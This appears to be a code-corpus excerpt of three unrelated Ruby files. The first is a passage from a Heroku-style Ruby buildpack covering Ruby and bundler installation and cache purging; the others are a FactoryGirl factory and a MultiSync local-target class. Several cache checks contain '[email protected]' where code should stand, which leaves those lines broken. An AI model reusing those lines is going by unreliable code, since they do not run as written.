vendor/bundle/ruby/2.6.0/bin paths << ENV["PATH"] ENV["PATH"] = paths.join(":") ENV["BUNDLE_WITHOUT"] = env("BUNDLE_WITHOUT") || bundle_default_without if ENV["BUNDLE_WITHOUT"].include?(' ') ENV["BUNDLE_WITHOUT"] = ENV["BUNDLE_WITHOUT"].tr(' ', ':') warn("Your BUNDLE_WITHOUT contains a space, we are converting it to a colon `:` BUNDLE_WITHOUT=#{ENV["BUNDLE_WITHOUT"]}", inline: true) end ENV["BUNDLE_PATH"] = bundle_path ENV["BUNDLE_BIN"] = bundler_binstubs_path ENV["BUNDLE_DEPLOYMENT"] = "1" ENV["BUNDLE_GLOBAL_PATH_APPENDS_RUBY_SCOPE"] = "1" if bundler.needs_ruby_global_append_path? end # Sets up the environment variables for subsequent processes run by # muiltibuildpack. We can't use profile.d because $HOME isn't set up def setup_export(layer = nil) if layer paths = ENV["PATH"] else paths = ENV["PATH"].split(":").map do |path| /^\/.*/ !~ path ? "#{build_path}/#{path}" : path end.join(":") end # TODO ensure path exported is correct set_export_path "PATH", paths, layer if layer gem_path = "#{layer.path}/#{slug_vendor_base}" else gem_path = "#{build_path}/#{slug_vendor_base}" end set_export_path "GEM_PATH", gem_path, layer set_export_default "LANG", "en_US.UTF-8", layer # TODO handle jruby if ruby_version.jruby? set_export_default "JRUBY_OPTS", default_jruby_opts end set_export_default "BUNDLE_PATH", ENV["BUNDLE_PATH"], layer set_export_default "BUNDLE_WITHOUT", ENV["BUNDLE_WITHOUT"], layer set_export_default "BUNDLE_BIN", ENV["BUNDLE_BIN"], layer set_export_default "BUNDLE_GLOBAL_PATH_APPENDS_RUBY_SCOPE", ENV["BUNDLE_GLOBAL_PATH_APPENDS_RUBY_SCOPE"], layer if bundler.needs_ruby_global_append_path? set_export_default "BUNDLE_DEPLOYMENT", ENV["BUNDLE_DEPLOYMENT"], layer if ENV["BUNDLE_DEPLOYMENT"] # Unset on windows since we delete the Gemfile.lock end # sets up the profile.d script for this buildpack def setup_profiled(ruby_layer_path: , gem_layer_path: ) profiled_path = [] # Rails has a binstub for yarn that doesn't work for all applications # we need to ensure that yarn comes before local bin dir for that case if yarn_preinstalled? profiled_path << yarn_preinstall_bin_path.gsub(File.expand_path("."), "$HOME") elsif has_yarn_binary? profiled_path << "#{ruby_layer_path}/vendor/#{@yarn_installer.binary_path}" end profiled_path << "$HOME/bin" # /app in production profiled_path << "#{gem_layer_path}/#{bundler_binstubs_path}" # Binstubs from bundler, eg. vendor/bundle/bin profiled_path << "#{gem_layer_path}/#{slug_vendor_base}/bin" # Binstubs from rubygems, eg. vendor/bundle/ruby/2.6.0/bin profiled_path << "$PATH" set_env_default "LANG", "en_US.UTF-8" set_env_override "GEM_PATH", "#{gem_layer_path}/#{slug_vendor_base}:$GEM_PATH" set_env_override "PATH", profiled_path.join(":") set_env_override "DISABLE_SPRING", "1" set_env_default "MALLOC_ARENA_MAX", "2" if default_malloc_arena_max? web_concurrency = env("SENSIBLE_DEFAULTS") ? set_default_web_concurrency : "" add_to_profiled(web_concurrency, filename: "WEB_CONCURRENCY.sh", mode: "w") # always write that file, even if its empty (meaning no defaults apply), for interop with other buildpacks - and we overwrite the file rather than appending (which is the default) # TODO handle JRUBY if ruby_version.jruby? set_env_default "JRUBY_OPTS", default_jruby_opts end set_env_default "BUNDLE_PATH", ENV["BUNDLE_PATH"] set_env_default "BUNDLE_WITHOUT", ENV["BUNDLE_WITHOUT"] set_env_default "BUNDLE_BIN", ENV["BUNDLE_BIN"] set_env_default "BUNDLE_GLOBAL_PATH_APPENDS_RUBY_SCOPE", ENV["BUNDLE_GLOBAL_PATH_APPENDS_RUBY_SCOPE"] if bundler.needs_ruby_global_append_path? set_env_default "BUNDLE_DEPLOYMENT", ENV["BUNDLE_DEPLOYMENT"] if ENV["BUNDLE_DEPLOYMENT"] # Unset on windows since we delete the Gemfile.lock end def warn_outdated_ruby return unless defined?(@outdated_version_check) @warn_outdated ||= begin @outdated_version_check.join warn_outdated_minor warn_outdated_eol warn_stack_upgrade true end end def warn_stack_upgrade return unless defined?(@ruby_download_check) return unless @ruby_download_check.next_stack(current_stack: stack) return if @ruby_download_check.exists_on_next_stack?(current_stack: stack) warn(<<~WARNING) Your Ruby version is not present on the next stack You are currently using #{ruby_version.version_for_download} on #{stack} stack. This version does not exist on #{@ruby_download_check.next_stack(current_stack: stack)}. In order to upgrade your stack you will need to upgrade to a supported Ruby version. For a list of supported Ruby versions see: https://devcenter.heroku.com/articles/ruby-support#supported-runtimes For a list of the oldest Ruby versions present on a given stack see: https://devcenter.heroku.com/articles/ruby-support#oldest-available-runtimes WARNING end def warn_outdated_eol return unless @outdated_version_check.maybe_eol? if @outdated_version_check.eol? warn(<<~WARNING) EOL Ruby Version You are using a Ruby version that has reached its End of Life (EOL) We strongly suggest you upgrade to Ruby #{@outdated_version_check.suggest_ruby_eol_version} or later Your current Ruby version no longer receives security updates from Ruby Core and may have serious vulnerabilities. While you will continue to be able to deploy on Heroku with this Ruby version you must upgrade to a non-EOL version to be eligible to receive support. Upgrade your Ruby version as soon as possible. For a list of supported Ruby versions see: https://devcenter.heroku.com/articles/ruby-support#supported-runtimes WARNING else # Maybe EOL warn(<<~WARNING) Potential EOL Ruby Version You are using a Ruby version that has either reached its End of Life (EOL) or will reach its End of Life on December 25th of this year. We suggest you upgrade to Ruby #{@outdated_version_check.suggest_ruby_eol_version} or later Once a Ruby version becomes EOL, it will no longer receive security updates from Ruby core and may have serious vulnerabilities. Please upgrade your Ruby version. For a list of supported Ruby versions see: https://devcenter.heroku.com/articles/ruby-support#supported-runtimes WARNING end end def warn_outdated_minor return if @outdated_version_check.latest_minor_version? warn(<<~WARNING) There is a more recent Ruby version available for you to use: #{@outdated_version_check.suggested_ruby_minor_version} The latest version will include security and bug fixes. We always recommend running the latest version of your minor release. Please upgrade your Ruby version. For all available Ruby versions see: https://devcenter.heroku.com/articles/ruby-support#supported-runtimes WARNING end # install the vendored ruby # @return [Boolean] true if it installs the vendored ruby and false otherwise def install_ruby(install_path, build_ruby_path = nil) # Could do a compare operation to avoid re-downloading ruby return false unless ruby_version installer = LanguagePack::Installers::RubyInstaller.installer(ruby_version).new(@stack) @ruby_download_check = LanguagePack::Helpers::DownloadPresence.new(ruby_version.file_name) @ruby_download_check.call if ruby_version.build? installer.fetch_unpack(ruby_version, build_ruby_path, true) end installer.install(ruby_version, install_path) @outdated_version_check = LanguagePack::Helpers::OutdatedRubyVersion.new( current_ruby_version: ruby_version, fetcher: installer.fetcher ) @outdated_version_check.call @metadata.write("buildpack_ruby_version", ruby_version.version_for_download) topic "Using Ruby version: #{ruby_version.version_for_download}" if !ruby_version.set warn(<<~WARNING) You have not declared a Ruby version in your Gemfile. To declare a Ruby version add this line to your Gemfile: ``` ruby "#{LanguagePack::RubyVersion::DEFAULT_VERSION_NUMBER}" ``` For more information see: https://devcenter.heroku.com/articles/ruby-versions WARNING if ruby_version.warn_ruby_26_bundler? warn(<<~WARNING, inline: true) There is a known bundler bug with your version of Ruby Your version of Ruby contains a problem with the built-in integration of bundler. If you encounter a bundler error you need to upgrade your Ruby version. We suggest you upgrade to: #{@outdated_version_check.suggested_ruby_minor_version} For more information see: https://devcenter.heroku.com/articles/bundler-version#known-upgrade-issues WARNING end end true rescue LanguagePack::Fetcher::FetchError if @ruby_download_check.does_not_exist? message = <<~ERROR The Ruby version you are trying to install does not exist: #{ruby_version.version_for_download} ERROR else message = <<~ERROR The Ruby version you are trying to install does not exist on this stack. You are trying to install #{ruby_version.version_for_download} on #{stack}. Ruby #{ruby_version.version_for_download} is present on the following stacks: - #{@ruby_download_check.valid_stack_list.join("\n - ")} ERROR if env("CI") message << <<~ERROR On Heroku CI you can set your stack in the `app.json`. For example: ``` "stack": "heroku-20" ``` ERROR end end message << <<~ERROR Heroku recommends you use the latest supported Ruby version listed here: https://devcenter.heroku.com/articles/ruby-support#supported-runtimes For more information on syntax for declaring a Ruby version see: https://devcenter.heroku.com/articles/ruby-versions ERROR error message end # TODO make this compatible with CNB def new_app? @new_app ||= !File.exist?("vendor/heroku") end # find the ruby install path for its binstubs during build # @return [String] resulting path or empty string if ruby is not vendored def ruby_install_binstub_path(ruby_layer_path = ".") @ruby_install_binstub_path ||= if ruby_version.build? "#{build_ruby_path}/bin" elsif ruby_version "#{ruby_layer_path}/#{slug_vendor_ruby}/bin" else "" end end # setup the environment so we can use the vendored ruby def setup_ruby_install_env(ruby_layer_path = ".") ENV["PATH"] = "#{File.expand_path(ruby_install_binstub_path(ruby_layer_path))}:#{ENV["PATH"]}" end # installs vendored gems into the slug def install_bundler_in_app(bundler_dir) FileUtils.mkdir_p(bundler_dir) Dir.chdir(bundler_dir) do |dir| `cp -R #{bundler.bundler_path}/. .` end # write bundler shim, so we can control the version bundler used # Ruby 2.6.0 started vendoring bundler write_bundler_shim("vendor/bundle/bin") if ruby_version.vendored_bundler? end # default set of binaries to install # @return [Array] resulting list def binaries add_node_js_binary + add_yarn_binary end # vendors binaries into the slug def install_binaries binaries.each {|binary| install_binary(binary) } Dir["bin/*"].each {|path| run("chmod +x #{path}") } end # vendors individual binary into the slug # @param [String] name of the binary package from S3. # Example: https://s3.amazonaws.com/language-pack-ruby/node-0.4.7.tgz, where name is "node-0.4.7" def install_binary(name) topic "Installing #{name}" bin_dir = "bin" FileUtils.mkdir_p bin_dir Dir.chdir(bin_dir) do |dir| if name.match(/^node\-/) @node_installer.install # need to set PATH here b/c `node-gyp` can change the CWD, but still depends on executing node. # the current PATH is relative, but it needs to be absolute for this. # doing this here also prevents it from being exported during runtime node_bin_path = File.absolute_path(".") # this needs to be set after so other binaries in bin/ don't take precedence" ENV["PATH"] = "#{ENV["PATH"]}:#{node_bin_path}" elsif name.match(/^yarn\-/) FileUtils.mkdir_p("../vendor") Dir.chdir("../vendor") do |vendor_dir| @yarn_installer.install yarn_path = File.absolute_path("#{vendor_dir}/#{@yarn_installer.binary_path}") ENV["PATH"] = "#{yarn_path}:#{ENV["PATH"]}" end else @fetchers[:buildpack].fetch_untar("#{name}.tgz") end end end # removes a binary from the slug # @param [String] relative path of the binary on the slug def uninstall_binary(path) FileUtils.rm File.join('bin', File.basename(path)), :force => true end def load_default_cache? new_app? && ruby_version.default? end # loads a default bundler cache for new apps to speed up initial bundle installs def load_default_cache if false # load_default_cache? puts "New app detected loading default bundler cache" patchlevel = run("ruby -e 'puts RUBY_PATCHLEVEL'").strip cache_name = "#{LanguagePack::RubyVersion::DEFAULT_VERSION}-p#{patchlevel}-default-cache" @fetchers[:buildpack].fetch_untar("#{cache_name}.tgz") end end # remove `vendor/bundle` that comes from the git repo # in case there are native ext. # users should be using `bundle pack` instead. # https://github.com/heroku/heroku-buildpack-ruby/issues/21 def remove_vendor_bundle if File.exists?("vendor/bundle") warn(<<-WARNING) Removing `vendor/bundle`. Checking in `vendor/bundle` is not supported. Please remove this directory and add it to your .gitignore. To vendor your gems with Bundler, use `bundle pack` instead. WARNING FileUtils.rm_rf("vendor/bundle") end end def bundler_binstubs_path "vendor/bundle/bin" end def bundler_path @bundler_path ||= "#{slug_vendor_base}/gems/#{bundler.dir_name}" end def write_bundler_shim(path) FileUtils.mkdir_p(path) shim_path = "#{path}/bundle" File.open(shim_path, "w") do |file| file.print <<-BUNDLE #!/usr/bin/env ruby require 'rubygems' version = "#{bundler.version}" if ARGV.first str = ARGV.first str = str.dup.force_encoding("BINARY") if str.respond_to? :force_encoding if str =~ /\A_(.*)_\z/ and Gem::Version.correct?($1) then version = $1 ARGV.shift end end if Gem.respond_to?(:activate_bin_path) load Gem.activate_bin_path('bundler', 'bundle', version) else gem "bundler", version load Gem.bin_path("bundler", "bundle", version) end BUNDLE end FileUtils.chmod(0755, shim_path) end # runs bundler to install the dependencies def build_bundler log("bundle") do if File.exist?("#{Dir.pwd}/.bundle/config") warn(<<~WARNING, inline: true) You have the `.bundle/config` file checked into your repository It contains local state like the location of the installed bundle as well as configured git local gems, and other settings that should not be shared between multiple checkouts of a single repo. Please remove the `.bundle/` folder from your repo and add it to your `.gitignore` file. https://devcenter.heroku.com/articles/bundler-configuration WARNING end if bundler.windows_gemfile_lock? log("bundle", "has_windows_gemfile_lock") File.unlink("Gemfile.lock") ENV.delete("BUNDLE_DEPLOYMENT") warn(<<~WARNING, inline: true) Removing `Gemfile.lock` because it was generated on Windows. Bundler will do a full resolve so native gems are handled properly. This may result in unexpected gem versions being used in your app. In rare occasions Bundler may not be able to resolve your dependencies at all. https://devcenter.heroku.com/articles/bundler-windows-gemfile WARNING end bundle_command = String.new("") bundle_command << "BUNDLE_WITHOUT='#{ENV["BUNDLE_WITHOUT"]}' " bundle_command << "BUNDLE_PATH=#{ENV["BUNDLE_PATH"]} " bundle_command << "BUNDLE_BIN=#{ENV["BUNDLE_BIN"]} " bundle_command << "BUNDLE_DEPLOYMENT=#{ENV["BUNDLE_DEPLOYMENT"]} " if ENV["BUNDLE_DEPLOYMENT"] # Unset on windows since we delete the Gemfile.lock bundle_command << "BUNDLE_GLOBAL_PATH_APPENDS_RUBY_SCOPE=#{ENV["BUNDLE_GLOBAL_PATH_APPENDS_RUBY_SCOPE"]} " if bundler.needs_ruby_global_append_path? bundle_command << "bundle install -j4" topic("Installing dependencies using bundler #{bundler.version}") bundler_output = String.new("") bundle_time = nil env_vars = {} Dir.mktmpdir("libyaml-") do |tmpdir| libyaml_dir = "#{tmpdir}/#{LIBYAML_PATH}" # need to setup compile environment for the psych gem yaml_include = File.expand_path("#{libyaml_dir}/include").shellescape yaml_lib = File.expand_path("#{libyaml_dir}/lib").shellescape pwd = Dir.pwd bundler_path = "#{pwd}/#{slug_vendor_base}/gems/#{bundler.dir_name}/lib" # we need to set BUNDLE_CONFIG and BUNDLE_GEMFILE for # codon since it uses bundler. env_vars["BUNDLE_GEMFILE"] = "#{pwd}/Gemfile" env_vars["BUNDLE_CONFIG"] = "#{pwd}/.bundle/config" env_vars["CPATH"] = noshellescape("#{yaml_include}:$CPATH") env_vars["CPPATH"] = noshellescape("#{yaml_include}:$CPPATH") env_vars["LIBRARY_PATH"] = noshellescape("#{yaml_lib}:$LIBRARY_PATH") env_vars["RUBYOPT"] = syck_hack env_vars["NOKOGIRI_USE_SYSTEM_LIBRARIES"] = "true" env_vars["BUNDLE_DISABLE_VERSION_CHECK"] = "true" env_vars["BUNDLER_LIB_PATH"] = "#{bundler_path}" if ruby_version.ruby_version == "1.8.7" env_vars["BUNDLE_DISABLE_VERSION_CHECK"] = "true" puts "Running: #{bundle_command}" bundle_time = Benchmark.realtime do bundler_output << pipe("#{bundle_command} --no-clean", out: "2>&1", env: env_vars, user_env: true) end end if $?.success? puts "Bundle completed (#{"%.2f" % bundle_time}s)" log "bundle", :status => "success" topic "Building routes" build_routes(env_vars) puts "Cleaning up the bundler cache." # Only show bundle clean output when not using default cache if load_default_cache? run("bundle clean > /dev/null", user_env: true, env: env_vars) else pipe("bundle clean", out: "2> /dev/null", user_env: true, env: env_vars) end @bundler_cache.store # Keep gem cache out of the slug FileUtils.rm_rf("#{slug_vendor_base}/cache") else mcount "fail.bundle.install" log "bundle", :status => "failure" error_message = "Failed to install gems via Bundler." puts "Bundler Output: #{bundler_output}" if bundler_output.match(/An error occurred while installing sqlite3/) mcount "fail.sqlite3" error_message += <<~ERROR Detected sqlite3 gem which is not supported on Heroku: https://devcenter.heroku.com/articles/sqlite3 ERROR end if bundler_output.match(/but your Gemfile specified/) mcount "fail.ruby_version_mismatch" error_message += <<~ERROR Detected a mismatch between your Ruby version installed and Ruby version specified in Gemfile or Gemfile.lock. You can correct this by running: $ bundle update --ruby $ git add Gemfile.lock $ git commit -m "update ruby version" If this does not solve the issue please see this documentation: https://devcenter.heroku.com/articles/ruby-versions#your-ruby-version-is-x-but-your-gemfile-specified-y ERROR end error error_message end end end def post_bundler Dir[File.join(slug_vendor_base, "**", ".git")].each do |dir| FileUtils.rm_rf(dir) end bundler.clean end # RUBYOPT line that requires syck_hack file # @return [String] require string if needed or else an empty string def syck_hack syck_hack_file = File.expand_path(File.join(File.dirname(__FILE__), "../../vendor/syck_hack")) rv = run_stdout('ruby -e "puts RUBY_VERSION"').strip # < 1.9.3 includes syck, so we need to use the syck hack if Gem::Version.new(rv) < Gem::Version.new("1.9.3") "-r#{syck_hack_file}" else "" end end # writes ERB based database.yml for Rails. The database.yml uses the DATABASE_URL from the environment during runtime. def create_database_yml return false unless File.directory?("config") return false if bundler.has_gem?('activerecord') && bundler.gem_version('activerecord') >= Gem::Version.new('4.1.0.beta1') log("create_database_yml") do topic("Writing config/database.yml to read from DATABASE_URL") File.open("config/database.yml", "w") do |file| file.puts <<-DATABASE_YML <% require 'cgi' require 'uri' begin uri = URI.parse(ENV["DATABASE_URL"]) rescue URI::InvalidURIError raise "Invalid DATABASE_URL" end raise "No RACK_ENV or RAILS_ENV found" unless ENV["RAILS_ENV"] || ENV["RACK_ENV"] def attribute(name, value, force_string = false) if value value_string = if force_string '"' + value + '"' else value end "\#{name}: \#{value_string}" else "" end end adapter = uri.scheme adapter = "postgresql" if adapter == "postgres" database = (uri.path || "").split("/")[1] username = uri.user password = uri.password host = uri.host port = uri.port params = CGI.parse(uri.query || "") %> <%= ENV["RAILS_ENV"] || ENV["RACK_ENV"] %>: <%= attribute "adapter", adapter %> <%= attribute "database", database %> <%= attribute "username", username %> <%= attribute "password", password, true %> <%= attribute "host", host %> <%= attribute "port", port %> <% params.each do |key, value| %> <%= key %>: <%= value.first %> <% end %> DATABASE_YML end end end def rake @rake ||= begin rake_gem_available = bundler.has_gem?("rake") || ruby_version.rake_is_vendored? raise_on_fail = bundler.gem_version('railties') && bundler.gem_version('railties') > Gem::Version.new('3.x') topic "Detecting rake tasks" rake = LanguagePack::Helpers::RakeRunner.new(rake_gem_available) rake.load_rake_tasks!({ env: rake_env }, raise_on_fail) rake end end def rake_env if database_url { "DATABASE_URL" => database_url } else {} end.merge(user_env_hash) end def database_url env("DATABASE_URL") if env("DATABASE_URL") end # executes the block with GIT_DIR environment variable removed since it can mess with the current working directory git thinks it's in # @param [block] block to be executed in the GIT_DIR free context def allow_git(&blk) git_dir = ENV.delete("GIT_DIR") # can mess with bundler blk.call ENV["GIT_DIR"] = git_dir end # decides if we need to enable the dev database addon # @return [Array] the database addon if the pg gem is detected or an empty Array if it isn't. def add_dev_database_addon pg_adapters.any? {|a| bundler.has_gem?(a) } ? ['heroku-postgresql'] : [] end def pg_adapters [ "pg", "activerecord-jdbcpostgresql-adapter", "jdbc-postgres", "jdbc-postgresql", "jruby-pg", "rjack-jdbc-postgres", "tgbyte-activerecord-jdbcpostgresql-adapter" ] end # decides if we need to install the node.js binary # @note execjs will blow up if no JS RUNTIME is detected and is loaded. # @return [Array] the node.js binary path if we need it or an empty Array def add_node_js_binary return [] if node_js_preinstalled? if Pathname(build_path).join("package.json").exist? || bundler.has_gem?('execjs') || bundler.has_gem?('webpacker') [@node_installer.binary_path] else [] end end def add_yarn_binary return [] if yarn_preinstalled? if Pathname(build_path).join("yarn.lock").exist? || bundler.has_gem?('webpacker') [@yarn_installer.name] else [] end end def has_yarn_binary? add_yarn_binary.any? end # checks if node.js is installed via the official heroku-buildpack-nodejs using multibuildpack # @return String if it's detected and false if it isn't def node_preinstall_bin_path return @node_preinstall_bin_path if defined?(@node_preinstall_bin_path) legacy_path = "#{Dir.pwd}/#{NODE_BP_PATH}" path = run("which node").strip if path && $?.success? @node_preinstall_bin_path = path elsif run("#{legacy_path}/node -v") && $?.success? @node_preinstall_bin_path = legacy_path else @node_preinstall_bin_path = false end end alias :node_js_preinstalled? :node_preinstall_bin_path def node_not_preinstalled? !node_js_preinstalled? end # Example: tmp/build_8523f77fb96a956101d00988dfeed9d4/.heroku/yarn/bin/ (without the `yarn` at the end) def yarn_preinstall_bin_path (yarn_preinstall_binary_path || "").chomp("/yarn") end # Example `tmp/build_8523f77fb96a956101d00988dfeed9d4/.heroku/yarn/bin/yarn` def yarn_preinstall_binary_path return @yarn_preinstall_binary_path if defined?(@yarn_preinstall_binary_path) path = run("which yarn").strip if path && $?.success? @yarn_preinstall_binary_path = path else @yarn_preinstall_binary_path = false end end def yarn_preinstalled? yarn_preinstall_binary_path end def yarn_not_preinstalled? !yarn_preinstalled? end def run_assets_precompile_rake_task precompile = rake.task("assets:precompile") return true unless precompile.is_defined? topic "Precompiling assets" precompile.invoke(env: rake_env) if precompile.success? puts "Asset precompilation completed (#{"%.2f" % precompile.time}s)" else precompile_fail(precompile.output) end end def precompile_fail(output) mcount "fail.assets_precompile" log "assets_precompile", :status => "failure" msg = "Precompiling assets failed.\n" if output.match(/(127\.0\.0\.1)|(org\.postgresql\.util)/) msg << "Attempted to access a nonexistent database:\n" msg << "https://devcenter.heroku.com/articles/pre-provision-database\n" end sprockets_version = bundler.gem_version('sprockets') if output.match(/Sprockets::FileNotFound/) && (sprockets_version < Gem::Version.new('4.0.0.beta7') && sprockets_version > Gem::Version.new('4.0.0.beta4')) mcount "fail.assets_precompile.file_not_found_beta" msg << "If you have this file in your project\n" msg << "try upgrading to Sprockets 4.0.0.beta7 or later:\n" msg << "https://github.com/rails/sprockets/pull/547\n" end error msg end def bundler_cache "vendor/bundle" end def valid_bundler_cache?(path, metadata) full_ruby_version = run_stdout(%q(ruby -v)).strip rubygems_version = run_stdout(%q(gem -v)).strip old_rubygems_version = nil old_rubygems_version = metadata[:ruby_version] old_stack = metadata[:stack] old_stack ||= DEFAULT_LEGACY_STACK stack_change = old_stack != @stack if !new_app? && stack_change return [false, "Purging Cache. Changing stack from #{old_stack} to #{@stack}"] end # fix bug from v37 deploy if File.exists?("#{path}/vendor/ruby_version") puts "Broken cache detected. Purging build cache." cache.clear("vendor") FileUtils.rm_rf("#{path}/vendor/ruby_version") return [false, "Broken cache detected. Purging build cache."] # fix bug introduced in v38 elsif !metadata.include?(:buildpack_version) && metadata.include?(:ruby_version) puts "Broken cache detected. Purging build cache." return [false, "Broken cache detected. Purging build cache."] elsif (@bundler_cache.exists? || @bundler_cache.old?) && full_ruby_version != metadata[:ruby_version] return [false, <<-MESSAGE] Ruby version change detected. Clearing bundler cache. Old: #{metadata[:ruby_version]} New: #{full_ruby_version} MESSAGE end # fix git gemspec bug from Bundler 1.3.0+ upgrade if File.exists?(bundler_cache) && !metadata.include?(:bundler_version) && !run("find #{path}/vendor/bundle/*/*/bundler/gems/*/ -name *.gemspec").include?("No such file or directory") return [false, "Old bundler cache detected. Clearing bundler cache."] end # fix for https://github.com/heroku/heroku-buildpack-ruby/issues/86 if (!metadata.include?(:rubygems_version) || (old_rubygems_version == "2.0.0" && old_rubygems_version != rubygems_version)) && metadata.include?(:ruby_version) && metadata[:ruby_version].strip.include?("ruby 2.0.0p0") return [false, "Updating to rubygems #{rubygems_version}. Clearing bundler cache."] end # fix for https://github.com/sparklemotion/nokogiri/issues/923 if metadata.include?(:buildpack_version) && (bv = metadata[:buildpack_version].sub('v', '').to_i) && bv != 0 && bv <= 76 return [false, <<-MESSAGE] Fixing nokogiri install. Clearing bundler cache. See https://github.com/sparklemotion/nokogiri/issues/923. MESSAGE end # recompile nokogiri to use new libyaml if metadata.include?(:buildpack_version) && (bv = metadata[:buildpack_version].sub('v', '').to_i) && bv != 0 && bv <= 99 && bundler.has_gem?("psych") return [false, <<-MESSAGE] Need to recompile psych for CVE-2013-6393. Clearing bundler cache. See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737076. MESSAGE end # recompile gems for libyaml 0.1.7 update if metadata.include?(:buildpack_version) && (bv = metadata[:buildpack_version].sub('v', '').to_i) && bv != 0 && bv <= 147 && (metadata.include?(:ruby_version) && metadata[:ruby_version].match(/ruby 2\.1\.(9|10)/) || bundler.has_gem?("psych") ) return [false, <<-MESSAGE] Need to recompile gems for CVE-2014-2014-9130. Clearing bundler cache. See https://devcenter.heroku.com/changelog-items/1016. MESSAGE end true end def load_bundler_cache cache.load "vendor" full_ruby_version = run_stdout(%q(ruby -v)).strip rubygems_version = run_stdout(%q(gem -v)).strip heroku_metadata = "vendor/heroku" old_rubygems_version = nil ruby_version_cache = "ruby_version" buildpack_version_cache = "buildpack_version" bundler_version_cache = "bundler_version" rubygems_version_cache = "rubygems_version" stack_cache = "stack" # bundle clean does not remove binstubs FileUtils.rm_rf("vendor/bundler/bin") old_rubygems_version = @metadata.read(ruby_version_cache).strip if @metadata.exists?(ruby_version_cache) old_stack = @metadata.read(stack_cache).strip if @metadata.exists?(stack_cache) old_stack ||= DEFAULT_LEGACY_STACK stack_change = old_stack != @stack convert_stack = @bundler_cache.old? @bundler_cache.convert_stack(stack_change) if convert_stack if !new_app? && stack_change puts "Purging Cache. Changing stack from #{old_stack} to #{@stack}" purge_bundler_cache(old_stack) elsif !new_app? && !convert_stack @bundler_cache.load end # fix bug from v37 deploy if File.exists?("vendor/ruby_version") puts "Broken cache detected. Purging build cache." cache.clear("vendor") FileUtils.rm_rf("vendor/ruby_version") purge_bundler_cache # fix bug introduced in v38 elsif [email protected]?(buildpack_version_cache) && @metadata.exists?(ruby_version_cache) puts "Broken cache detected. Purging build cache." purge_bundler_cache elsif (@bundler_cache.exists? || @bundler_cache.old?) && @metadata.exists?(ruby_version_cache) && full_ruby_version != @metadata.read(ruby_version_cache).strip puts "Ruby version change detected. Clearing bundler cache." puts "Old: #{@metadata.read(ruby_version_cache).strip}" puts "New: #{full_ruby_version}" purge_bundler_cache end # fix git gemspec bug from Bundler 1.3.0+ upgrade if File.exists?(bundler_cache) && [email protected]?(bundler_version_cache) && !run("find vendor/bundle/*/*/bundler/gems/*/ -name *.gemspec").include?("No such file or directory") puts "Old bundler cache detected. Clearing bundler cache." purge_bundler_cache end # fix for https://github.com/heroku/heroku-buildpack-ruby/issues/86 if ([email protected]?(rubygems_version_cache) || (old_rubygems_version == "2.0.0" && old_rubygems_version != rubygems_version)) && @metadata.exists?(ruby_version_cache) && @metadata.read(ruby_version_cache).strip.include?("ruby 2.0.0p0") puts "Updating to rubygems #{rubygems_version}. Clearing bundler cache." purge_bundler_cache end # fix for https://github.com/sparklemotion/nokogiri/issues/923 if @metadata.exists?(buildpack_version_cache) && (bv = @metadata.read(buildpack_version_cache).sub('v', '').to_i) && bv != 0 && bv <= 76 puts "Fixing nokogiri install. Clearing bundler cache." puts "See https://github.com/sparklemotion/nokogiri/issues/923." purge_bundler_cache end # recompile nokogiri to use new libyaml if @metadata.exists?(buildpack_version_cache) && (bv = @metadata.read(buildpack_version_cache).sub('v', '').to_i) && bv != 0 && bv <= 99 && bundler.has_gem?("psych") puts "Need to recompile psych for CVE-2013-6393. Clearing bundler cache." puts "See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737076." purge_bundler_cache end # recompile gems for libyaml 0.1.7 update if @metadata.exists?(buildpack_version_cache) && (bv = @metadata.read(buildpack_version_cache).sub('v', '').to_i) && bv != 0 && bv <= 147 && (@metadata.exists?(ruby_version_cache) && @metadata.read(ruby_version_cache).strip.match(/ruby 2\.1\.(9|10)/) || bundler.has_gem?("psych") ) puts "Need to recompile gems for CVE-2014-2014-9130. Clearing bundler cache." puts "See https://devcenter.heroku.com/changelog-items/1016." purge_bundler_cache end FileUtils.mkdir_p(heroku_metadata) @metadata.write(ruby_version_cache, full_ruby_version, false) @metadata.write(buildpack_version_cache, BUILDPACK_VERSION, false) @metadata.write(bundler_version_cache, bundler.version, false) @metadata.write(rubygems_version_cache, rubygems_version, false) @metadata.write(stack_cache, @stack, false) @metadata.save end def purge_bundler_cache(stack = nil) @bundler_cache.clear(stack) # need to reinstall language pack gems install_bundler_in_app(slug_vendor_base) end def build_routes(env_vars) command_1 = 'bundle exec roda-parse_routes -f routes.json app/router.rb' command_2 = 'bundle exec bin/routes' puts "Running: #{command_1}" run(command_1, user_env: true, env: env_vars) puts "Running: #{command_2}" run(command_2, user_env: true, env: env_vars) end end
34.914504
259
0.68993
b958b78e099222700fbd9ee8a6708a784fb94a53
107
FactoryGirl.define do factory :adesao do user topico { FactoryGirl.create(:proposta) } end end
15.285714
44
0.700935
ed5835f52042c65d6d1f56f841c60f35da742b5f
1,578
require 'multi_sync/target' require 'multi_sync/resources/remote_resource' module MultiSync class LocalTarget < Target attribute :connection, Fog::Storage, lazy: true, default: lambda { |target, _| Fog::Storage.new(target.credentials.merge(provider: :local)) } def files files = [] directory = connection.directories.get(destination_dir.to_s) return files if directory.nil? directory.files.each { |file| pathname = Pathname.new(file.key) # directory next if pathname.directory? files << MultiSync::RemoteResource.new( file: file, path_with_root: target_dir + destination_dir + pathname, path_without_root: pathname ) } files.sort end def upload(resource) # MultiSync.say_status :upload, resource.path_with_root MultiSync.debug "Upload #{resource} '#{resource.path_without_root}' to #{self} '#{File.join(connection.local_root, destination_dir)}'" directory = connection.directories.get(destination_dir.to_s) return if directory.nil? directory.files.create(key: resource.path_without_root.to_s, body: resource.body) resource end def delete(resource) # MultiSync.say_status :delete, resource.path_with_root MultiSync.debug "Delete #{resource} '#{resource.path_without_root}' from #{self} '#{File.join(connection.local_root, destination_dir)}'" connection.directories.get(destination_dir.to_s).files.get(resource.path_without_root.to_s).destroy resource end end end
32.875
142
0.68948
264b822ee96cfdcd02d70781b8f890f69ef373d0
1,289
